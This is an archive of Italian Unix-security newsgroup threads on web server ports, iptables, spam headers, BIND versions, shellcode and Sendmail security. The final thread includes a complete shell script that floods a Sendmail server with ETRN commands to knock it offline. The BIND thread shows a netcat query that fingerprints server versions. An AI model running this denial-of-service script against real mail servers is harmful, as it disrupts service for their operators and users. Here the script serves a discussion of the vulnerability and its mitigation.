  Retrying as HTTP0 request.
  Looking up localhost
  Making HTTP connection to localhost 
  Sending HTTP request.
  HTTP request sent; waiting for response.
  Alert!: Unexpected network read error; connection aborted.
  Can't Access `
http://localhost/
'
  Alert!: Unable to access document.
  lynx: Can't access startfile 
visto il fallimento ho dato un'occhiata al error.log. Vi era scritto che
la porta
80  era già in uso o qualcosa del genere (perdonatemi ma sta volta mi
sono dimenticato di lanciare script :-)
Ho decisp così di settare anche la stringa Listen 8080 nel httpd.conf
Ho riprovato a lanciare lynx così 
http://localhost:8080/
 ma la risposta
è stata
la stessa. 
Alla fine ho settato sia la stringa Port che Listen sulla porta
666.....che ovv. non stava nel /etc/services....e così ha funzionato
perfettamente.
La domanda è : come mai non funziona sulla 80 ?? Devo forse mettere a
posto qualcosa nel inetd.conf ?
La 666 è pittoresca ma credo che sia giusto settare il web server sulla
80 come di default.
Ciao a tutti e buona pasqua.

 perfettamente.
Prova a vedere con "netstat -avep" chi occupa le porte 80 e 8080 ( ma ho un 
dubbio ..... )
Newsgroup: it.comp.sicurezza.unix
Titolo: [MI] cerco tecnico part time x unix

cerco persona disponibile per fare assistenza ad un mio amiko

 cerco persona disponibile per fare assistenza ad un mio amiko
Se ci dici
1) Dove
2) Quando
3) Che conoscenze si devono avere
4) Su che OS ..
forse sappiamo che cosa risponderti :D


Infatti :)

Newsgroup: it.comp.sicurezza.unix
Titolo: Interfacce di rete e iptables

Salve a tutti.
Nello script per un basilare firewall basato sul filtraggio dei pacchetti, 
ho la seguente regola: 
            $iptables -A INPUT -i ppp0 -p tcp --syn -j DROP
che dovrebbe rifiutare ogni tentativo di connessione proveniente da ppp0.
La mia rete è una stella, e solo la macchina di cui parlo si connette ad 
Internet tramite PPPoE (è una ADSL).Questa strana configurazione fa si che 
per la schede Ethernet passi sia il traffico LAN che quello Internet.
Il mio dubbio è questo: la regola filtrerà solo il traffico Internet o 
nessun pacchetto??? (visto che ogni pacchetto "fisicamente" arriverà 
tramite la prima scheda Ethernet)
Grazie mille per l'attenzione.
mick
-- 
Per favore non inviatemi allegati di tipo MS-Office.
Ci sono tante buone ragioni per questo,
ma la principale è che non posso leggerli.
Grazie.

 tramite la prima scheda Ethernet)
Filtri solo ciò che passa su ppp0; eth0 resta completamente libera.
Tieni presente che le interfacce virtuali, dal punto di vista del
firewall, sono equivalenti a quelle fisiche.
Potresti splittare un'unica scheda in due (eth0:0 e eth0:1, per esempio)
per fare due subnet distinte sullo stesso segmento fisico di rete, e
filtrare solo i dati di una lasciando libera l'altra, perché per il
firewall quelle sono a tutti gli effetti "due schede distinte".
Idem succede per ppp0 e eth0.
-- 
Massimo Bacilieri AKA Crononauta 
mailto:
ulib...@libero.it
 ; ICQ:4005815

 
quello che arriva da internet viene filtrato
l'unica eccezione sarebbe se uno da internet entra nel modem o router, e 
poi da li` crea connessioni verso la LAN
cmq e` consigliabile impostare all'inizio la policy su drop e 
specificare i pacchetti da ammettere cosi` e` sicuro che non sfugge 
niente
-- 
    Pardo
 
http://pardo.cjb.net
 
    ( BACKUP: 
http://pardo.tsx.org
 )

 firewall, sono equivalenti a quelle fisiche.
Chiedo scusa per il ritardo con cui rispondo. Ero senza piccì.
Grazie per le spiegazioni (sia a te che a Pardo).


Newsgroup: it.comp.sicurezza.unix
Titolo: sono nuovo

Salve, sono nuovo riguardo i newsgroup.
Mi hanno indicto un newsgroup it.comp.sys.sicurezza, ma non lo trov ne
sapete niente?
Grazie

 Mi hanno indicto un newsgroup it.comp.sys.sicurezza, ma non lo trov ne
Cerca con Google Groups:
http://groups.google.com/groups?hl=it&lr=&ie=UTF-8&group=it.comp.sicurezza
Ciao
Luca
-- 
Luca Sasdelli
Microsoft MVP - Security, Networking, Windows NT/2000/XP
http://support.microsoft.com/newsgroups/default.aspx
IDRCI Italia - 
http://www.idrci.it
 - 
http://forum.idrci.it
CHX-I, CHX-I NAT Stateful Packet Filter

Newsgroup: it.comp.sicurezza.unix
Titolo: ***SALERNO E PROVINCIA***

it.lavoro.professioni.webmaster :)
ciaz
bismark
www.bismark.it

Newsgroup: it.comp.sicurezza.unix
Titolo: pardo

ciao pardo, sono andato sul tuo sito, ma dove posso trovare i cloni di 
icq per linux? hai qaulche infdirizzo da darmi? E qualche firewall di 
ottima portata?

ottima portata?
se usi linux ti conviene licq (
www.licq.org
)
Il fw e` integrato nel kernel linux, si configura attraverso i prog. 
ipchains o iptables (rispettivamente per kernel 2.2 o 2.4) che in genere 
ci sono gia` nelle distribuzioni.
Qui 
http://www.pluto.linux.it/ildp/HOWTO/HOWTO-INDEX-3.html
 ci sono il 
firewall-howto e l'ipchains-howto, e qui 
http://a2.swlibero.org/a21.html
c'e` probabilmente qualche capitolo dedicato all'argomento.
Per la documentazione di iptables invece devi andare qua
http://netfilter.filewatcher.org
Infine in fondo al mio file dei comandi che c'e` nel sito ho incollato 
il mio fw con commento per ogni regola, serve come esempio.
-- 
    Pardo 
 
http://pardo.cjb.net
 
http://pardo.tsx.org

Newsgroup: it.comp.sicurezza.unix
Titolo: Garantiamo il tuo hard disk rotto

Cari amici, questa news letter potrebbe essere interpretata come una
pubblicità e in effetti in un certo senso lo è ma da delle notizie che
riteniamo siano utili per molti di voi, Infatti chissà quanti hanno da
qualche parte degli HD rotti e non sanno che sono ancora in garanzia o, pur
sapendolo non sanno come farsela riconoscere.
Premesso che il periodo di garanzia varia da tre a cinque anni a seconda
delle marche e dei modelli gli acquirenti in genere si vedono riconoscere la
stessa solo per un anno dall' acquisto e spesso a fronte di pesentazione di
documenti fiscali non sempre di facile reperibilità.
Sena contare che qualora la garanzia venga riconosciuta, i nuovi hard disk
vengono resi con lunghissimi tempi di ritorno.
Utilizzando il nostro servizio si evitano tutte le proceedure burocratiche
legate ai numerosi fornitori, e in una sola volta si raggiungono tutti i
costruttori.
La procedura è molto semplice: ci basta conoscere la marca, il modello e il
serial number ed in pochi minuti sappiamo dirvi se il vostro HD è in
garanzia o meno.
Stabilito che l' HD è in garanzia dovrete spedirlo alla nostra sede di Roma
e con procedura di scambio anticipato o qualche giorno di attesa riavrete un
disco nuovo, spesse volte upgradato.
Al momento attuale effettuiamo il servizio di garanzia per le seguenti case
costrruttrici:
Seagate
Quantum
Maxtor
Hitachi
Fujitsu
Western Digital
IBM
Samsung
Ulteriori informazioni sui servizi offerti dalla ns. società le potrete
trovare sul nostro sito:
www.savedata.com
Ceti di avervi fatto cosa utile siamo a vs. disposizione per ogni altro
eventuale chiarimento.

 pubblicità e in effetti in un certo senso lo è 
Cari amici, questo potrebbe sembrare un idiota e in effetti in un certo
senso lo e'
Buttha
-- 
* Per rispondere in email rimuovere una i dall'indirizzo
* 
http://members.xoom.it/buttha/
* CiocoSnack: Farina tipo 0, uova, cacao, latte, zucchero, nocciole.
  Non disperdere nell'ambiente. (Corrado Guzzanti)
Newsgroup: it.comp.sicurezza.unix
Titolo: interpreto bene?


To: ne.bbia(at)
libero.it
From: 
hos...@microsoft.com
----------
se interpreto bene dicono che dal pc 
diogene.univr.it
 e' partito il tutto,
tale pc (157.27.2.101) appartiene (mi pare) all'universita' di verona, sul
db del whois pare ne sia responsabile tal farossi(at)
vm.univr.it
. E' a lui
che dovrei scrivere sdegnato ;) ?
A parte il fatto che non credo proprio di aver voglia di scrivergli, mi
viene un dubbio, sulla macchina in questione il giorno 06/01/2001 girava
apache, con configurazione "suse" di base ... l'utente che ha spedito i
simpatici messaggi (wwwrun) in realta' dovrebbe essere un utente "speciale"
usato dal sistema per lanciare apache (credo) e' quindi possibile che la
macchina in oggetto sia stata bucata? o io non ho capito nulla ed e meglio
che ricominci a studiare, ripartendo dalle basi?
tia
-- 
nebbia


scrivi, scrivi, e mettici anche questi headers, cosi` se vuole il tipo
se la sbriga lui, non devi mica dirglielo tu cosa e` capitato al suo
sistema...
(in effetti comunque `wwwrun' e` uno strano utente...)
-- 
    Pardo 
 
www.pardo.cjb.net

 e' quindi possibile che la macchina  in oggetto sia stata bucata?
Non necessariamente: se attraverso un qualche form spedisci una mail, e
se lo script di invio si appoggia sul demone smtp locale, allora
risultera', come in questo caso, che l'utente che ha spedito la mail e'
quello "impersonificato" da apache.
ciao
Buttha
-- 
* Per rispondere in email rimuovere la prima i dall'indirizzo
* VERA - "Per esempio...se Cristo suonasse oggi alla sua porta lei lo 
  riconoscerebbe ?"
  QUELO - "Certo... Il citofono è rotto da due anni."


La macchina in questione non mi sembra un open relay, ad un primo test banale, quindi 99% si tratta di
 qualcuno abilitato all'utilizzo di quel mail server che ti spammato per bene.
Per quanto riguarda il nome....poteva scriverti anche come pippoplutopaperino@... senza nessun problema,
si puo' tranquillamente fare se sei sul tuo relay di posta.
In questi casi conviene sicuramente contattare l'amministratore di sistema, che se non e' un metecatto e' in
 grado di identificare in 5 secondi chi ti ha bombardato.
ciomp
Doc
Newsgroup: it.comp.sicurezza.unix
Titolo: vorrei sapere se esiste un URL dove trovare online un programmino che scansioni le mie porte e dia un report?

vedi oggetto. grazie.
--

 
http://groups.google.com/advanced_group_search

 --
scarica nmap
www.insecure.org
ciao

Newsgroup: it.comp.sicurezza.unix
Titolo: Bind e telnet...

Ciao a tutti... 
magari sara' una domanda sciocca, ma mi preme conoscere la risposta.
Come faccio a sapere quale versione di BIND sta girando su un server
remoto? Posso interrogarlo via telnet? 
Grazie anticipatamente!
:: ScHizZo

Posso interrogarlo via telnet? 
no
-- 
sux ?

 $ dig @
1.2.3.4
 hostname.bind chaos txt
C:\>nslookup -q=txt -class=chaos version.bind 1.2.3.4

 no
Perche' un "no" cosi' secco? Si puo' benissimo fare anche con telnet, 
se il software supporta l'invio di dati binari.
Per semplicita', con netcat:
$ echo -e "\000\036\000\000\001\000\000\001\000\000\000\000\000\000
\007version\004bind\000\000\020\000\003"|nc 10.0.0.2 53|strings
version
bind
9.2.1
Fabio

Fabio
vjt
-- 
sux ?


ha scritto:

Ti ringrazio... ma mi spieghi cosa significa tutto questo???
Grazie ancora!
: :ScHizZo

 Ti ringrazio... ma mi spieghi cosa significa tutto questo???
Lascia perdere: il modo piu' corretto e rapido e che uso anche
io (come tutti) e' quello che ti hanno detto vjt e Francesco.
Il mio post era relativo all'uso di telnet per l'interrogazione, 
cosa che non e' impossibile ma soltanto molto scomoda.
Fabio

 
man ascii
-- 
Emanuele Balla aka Skull
-----------------------------------------------------------------------
Besides, I think [Slackware] sounds better than 'Microsoft', don't you?
(By Patrick Volkerding)

Newsgroup: it.comp.sicurezza.unix
Titolo: shellcode

Saluti e buon anno.
Probabilmente questa e' una domanda gia' fatta mille volte, ma qui su
deja non ho trovato la risposta: cosa sono esattamente gli shellcode e
come si "scoprono"? Io so (molto grezzamente) a cosa servono e dove si
trovano, ma per determinati sitemi operativi (tipo hp-ux o sco) ancora
non sono facilmente reperibili ergo come si "scoprono" (o programmano)?
Ma sopratutto cosa sono in effetti? Come mai variano a seconda del
sitema operativo e non per esempio a seconda del processore?
Grazie a chiunque abbia tempo per darmi una risposta di massima o anche
solo un link che mi spieghi la cosa per benino.
b.
p.s.
Non preoccupatevi che non sono un hacker, dal tipo di post si capisce
subito che non ne ho le capacita'.
Sent via Deja.com
http://www.deja.com/

solo un link che mi spieghi la cosa per benino.
IMHO da leggere direi:
"smashing the stack for fun & profit" su phrack#49
saluti
-- 
Each snowflake is different, collect the entire set.
Maurizio - Tannoiser
Founder Member of ERLUG (Emilia Romagna Linux User Group)
http://erlug.linux.it


Grazie mille,
b


 E come si scoprono? Andando a tentativi?
Se hai i sorgenti e' abbastanza semplice trovare i buffer overflow, altrimenti devi avere il programma bersaglio e debuggarlo per trovare le dimensioni dei buffer per eseguire l'exploit. andare a tentativi... be' a me sembra molto dura!
Valentino
Newsgroup: it.comp.sicurezza.unix
Titolo: Single-Sign-On

Ho più macchine Sun in cui potrà capitarmi di caricare anche qualche
centinaio di utenze contemporaneamente e perfettamente allineate sulle
tre macchine.
Mi sembra di aver capito che il Single-Sign-On faccia questo lavoro.
Google mi da molti riferimenti a Novell, il quale mi parla subito di
acquisti. Io ora però vorrei conoscere meglio cos'è il Single-Sign-On e
come funziona, e quali sono i prodotti che lo fanno (Ottimo se fosse
direttamente un prodotto Sun).
Ciao e Grazie, Matteo

Single Sign On non e' un prodotto. Single Sign On e' semplicemente il fatto
di voler evitare di digitare diverse password per l'accesso a diverse
risorse. Il sogno di tutti (sopratutto dei vendor di smartcard) e' quello di
una smartcard che fornisce tutte le tue credenziali in maniera sicura in
vece tua. Mi sa che siamo ancora abbastanza lontani da questo. Nel tuo caso
potrebbe essere sufficiente uno script che sincronizza le utenze sulle tre
macchine.
Ciao,
marco
--
_______________________
Marco Misitano
http://misitano.com
marco<AT>
misitano.com

Newsgroup: it.comp.sicurezza.unix
Titolo: Sicurezza in Sendmail

Io ho sempre sentito "parlar male" di sendmail come MTA, ma l'unico 
diffetto chiaro e' che ha un file di configurazione immenso e molto
incasinato; ho sentito parlare anche di un solo bug che aveva tanto 
tempo fa ma adesso come adesso e' veramente insicuro ? 
Infatto andando su 
sendmail.org
 sembra che siano rose e fiori e che
tutto sia a posto (naturalmente) ma inscivendosi a un qualsiasi 
newsgroup o mailing list gli "esperti" di unix/linux lo sconsigliano.
Non vorrei che sia una leggenda metropolitana: come posso informarmi 
di piu'? (non e' mia intenzione diventare un cracker vorrei solo sapere
se il mio computer e' sicuro o meno)
grazie in anticipo
-- 
Enrico Fracasso
C.d.L in ingegneria elettronica
Universita' di Trieste

Non viene trovata una vulnerabilita' remota di sendmail da almeno 2 anni...
i file di configurazione sono quello che sono, complessi ma alla fine e'
molto flessibile. sendmail, sebbene abbia un codice MOLTO INCASINATO, adesso
come adesso e' stato sta-checkato. IMHO e' sicuro, magari dovrai imprecare
un po' con la configurazione.
il fatto che Sendmail sia sicuro non vuol dire che sconsigli QMail e/o
Postfix.
Ciao

tempo fa ma adesso come adesso e' veramente insicuro ? 
E` sempre *potenzialmente* insicuro.
Inoltre e` mostruosamente lento ed eccessivamente pesante.
Usa postfix.
-- 
ciao, | [Per rispondere togli "toglimi" dal mio indirizzo.]
Marco | * The Internet is full. Go away.  -- Joel Furr *
      | (Ri)scoprire fidonet: 
http://bbs.mi.linux.it

Nelle versioni 8.9.1 e 8.9.3 cioe' le ultime c'e' un bug che permette di
bloccare il servizio di posta ed in alcuni casi di rebootare la macchina.
Per fare cio' e' sufficiente eseguire questo shell script:
#!/bin/sh
 TARGET=localhost
 COUNT=150
 SLEEP=1
 echo "gurghfrbl.sh - (c) lcamtuf '99"
 echo -n "Tickle"
 while :; do
 echo -n "."
 (
 NIC=0
 while [ "$NIC" -lt "$COUNT" ]; do
 echo "ETRN x"
 done
 ) | telnet $TARGET 25 &>/dev/null &
 sleep $SLEEP
 killall -9 telnet &>/dev/null
 done
Personalmente non l'ho provato, ma credo che funzioni ...
L'unica soluzione al problema fino a qualche settimana addietro era la
seguente, ma e' chiaramente limitativa delle prestazioni soprattutto nel
caso in cui il mailserver sia ad alto traffico.
Settare
MaxDaemonChildren=15
in 
sendmail.cf
Questo dimostra che anche le ultime versioni sono vulnerabili. L'unica
soluzione e' che il postmaster stia dietro a tutti i bugs e soluzioni che
giorno dopo giorno vengono fuori.
Inoltre poiche' sendmail viene eseguito con privilegi di root gia' di per se
questo lo pone in situazioni rischiose ... anche se non ci fossero bug noti.
Saluti
Flavio Muscetra